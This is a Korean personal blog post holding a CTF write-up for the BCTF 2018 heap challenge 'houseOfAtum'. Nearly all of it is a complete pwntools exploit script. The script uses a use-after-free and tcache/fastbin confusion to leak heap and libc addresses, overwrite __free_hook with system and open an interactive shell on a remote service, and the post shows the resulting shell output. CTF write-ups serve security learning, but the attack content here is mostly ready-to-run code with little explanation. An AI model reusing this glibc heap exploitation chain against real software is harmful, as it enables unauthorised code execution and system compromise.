BCTF 2018 - houseOfAtum

2018. 11. 30. 21:33·CTF/2018

Category : pwnable


Summary : uaf, tcache, show function, confusion between tcache and fastbin, 2 notes




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(data):
ru('Your choice:')
ss('1\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_edit(idx, data):
ru('Your choice:')
ss('2\x00')
ru('Input the idx:')
ss(str(idx)+'\x00')
ru('Input the content:')
ss(data)
ru('Done!\n')

def cmd_del(idx, erase=False):
ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss(str(idx))
ru('Clear?(y/n):')
if erase:
ss('y\x00')
else:
ss('n\x00')
ru('Done!\n')

def cmd_show(idx):
ru('Your choice:')
ss('4\x00')
ru('Input the idx:')
ss(str(idx))
ru('Content:')
res = rl(False)
ru('Done!\n')
return res

#s = process('./atum')
s = remote('60.205.224.216', 9999)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')

cmd_add('a')
cmd_add('b')
cmd_del(0)
cmd_del(0)

heap_base = u64(cmd_show(0).ljust(8, '\x00')) - 0x260
cmd_edit(0, (p64(0) + p64(0x91)) + (p64(0) + p64(0)) * 2 + (p64(0) + p64(0xa1)) + p64(heap_base+0x68))
cmd_edit(1, (p64(0) + p64(0)) * 3 + (p64(0) + p64(0x11)) + p64(0))
print hex(heap_base)

for _ in range(5):
cmd_del(0)

cmd_del(1, True)
cmd_del(0, True)

cmd_add('a') # 0
cmd_add('b') # 1
cmd_del(1, True)
cmd_add(p64(0)) # 1 : tcache.bins
cmd_del(0, True)
cmd_edit(1, p64(heap_base + 0x80) + (p64(0) + p64((0x250 - 0x70) | 1)))
cmd_add(p64(0)) # 0 : fake_chunk
for i in range(8):
if i == 7:
cmd_del(0, True)
else:
cmd_del(0) # into unsorted bin
cmd_edit(1, 'a' * 0x18)
libc_base = u64(cmd_show(1)[0x18:].ljust(8, '\x00')) - 0x3ebca0
print hex(libc_base)
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8

cmd_edit(1, p64(libc_free_hook) + p64(0) * 4)
cmd_add(p64(libc_system))
cmd_edit(1, 'sh'.ljust(8, '\x00'))

ru('Your choice:')
ss('3\x00')
ru('Input the idx:')
ss('1\x00')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './atum': pid 29994
0x561917b54000
0x7f6282d24000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)


저작자표시 비영리 변경금지 (새창열림)

'CTF > 2018' 카테고리의 다른 글

SECCON CTF 2018 QUAL - CLV2  (0) 2018.12.06
DEFCON CTF 2018 QUAL - EC3  (0) 2018.12.03
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
'CTF/2018' 카테고리의 다른 글
  • SECCON CTF 2018 QUAL - CLV2
  • DEFCON CTF 2018 QUAL - EC3
  • SECCON CTF 2018 QUAL - secret_message (one shot exploit)
  • INCTF 2018 - lost
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw
    정보보호올림피아드
    power of community
    POC
    후기
    vuln
    HUST
    pwnables
    csaw ctf
    web
    gnuboard
    HUST2011
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
BCTF 2018 - houseOfAtum
상단으로

티스토리툴바